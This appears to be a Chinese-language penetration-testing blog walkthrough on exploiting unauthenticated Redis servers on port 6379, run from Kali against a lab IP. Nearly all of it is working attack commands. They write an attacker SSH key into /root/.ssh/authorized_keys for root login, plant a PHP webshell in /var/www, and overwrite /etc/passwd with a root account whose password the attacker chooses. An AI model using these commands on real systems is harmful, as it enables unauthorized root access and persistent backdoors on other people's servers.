Nmap 默認策略竟然沒有6379端口!
image.png
直接掃描6379端口,若出現服務器信息,則證明存在非授權訪問:
image.png
通過腳本掃描,也并沒有多出什么信息:
image.png
通過軟件鏈接,可以看見數據庫內容與執行命令:
image.png
若以root權限啟動,可切換至root目錄:
config set dir /root/.ssh/
image.png
利用方法1--向.ssh目錄中寫入客戶端公鑰:
ssh-keygen –t rsa //產生本地公私鑰
image.png
/root/.ssh/目錄下會生產id_rsa id_rsa.pub 兩個文件,將pub公鑰寫入目標服務器/root/.ssh/目錄:
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt //將公鑰寫入foo.txt
root@kali:~/.ssh# cat foo.txt | redis-cli -h 192.168.111.41 -x set temp //將foo.txt內容寫入redis,若成功返回OK
root@kali:~/.ssh# redis-cli -h 192.168.111.41 //連接redis
192.168.111.41:6379> config set dir /root/.ssh/ //切換到.ssh目錄,若成功返回OK
192.168.111.41:6379> config set dbfilename "authorized_keys" //設置文件名稱,若成功返回OK
192.168.111.41:6379> save //保存,若成功返回OK
root@kali:~/.ssh# ssh -i id_rsa root@192.168.111.41 /用私鑰登陸服務器
成功登陸:
image.png
利用方法2--向Web目錄寫入Webshell:
思路差不多,關鍵是要猜到Web目錄。
root@kali:# cat php.txt | redis-cli -h 192.168.111.41 -x set php //將一句話木馬寫入redis,若成功返回OK
root@kali:# redis-cli -h 192.168.111.41 //連接redis
192.168.111.41:6379> config set dir /var/www/ //切換到Web目錄,若成功返回OK
192.168.111.41:6379> config set dbfilename "test.php" //設置文件名稱,若成功返回OK
192.168.111.41:6379> save //保存,若成功返回OK
已成功寫入:
image.png
image.png
Freebuf有一個寫/etc/passwd的思路:
親測有效,但想寫入/etc/passwd依然需要Redis擁有root權限,實際上與寫入公鑰方法區別不大。
root@kali:# python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")' //生成密文
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
root@kali:~# redis-cli -h 192.168.111.41
192.168.111.41:6379> config set dir /etc/
192.168.111.41:6379> config set dbfilename passwd
192.168.111.41:6379> SET abcd"\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n" NX //寫入
192.168.111.41:6379> save //保存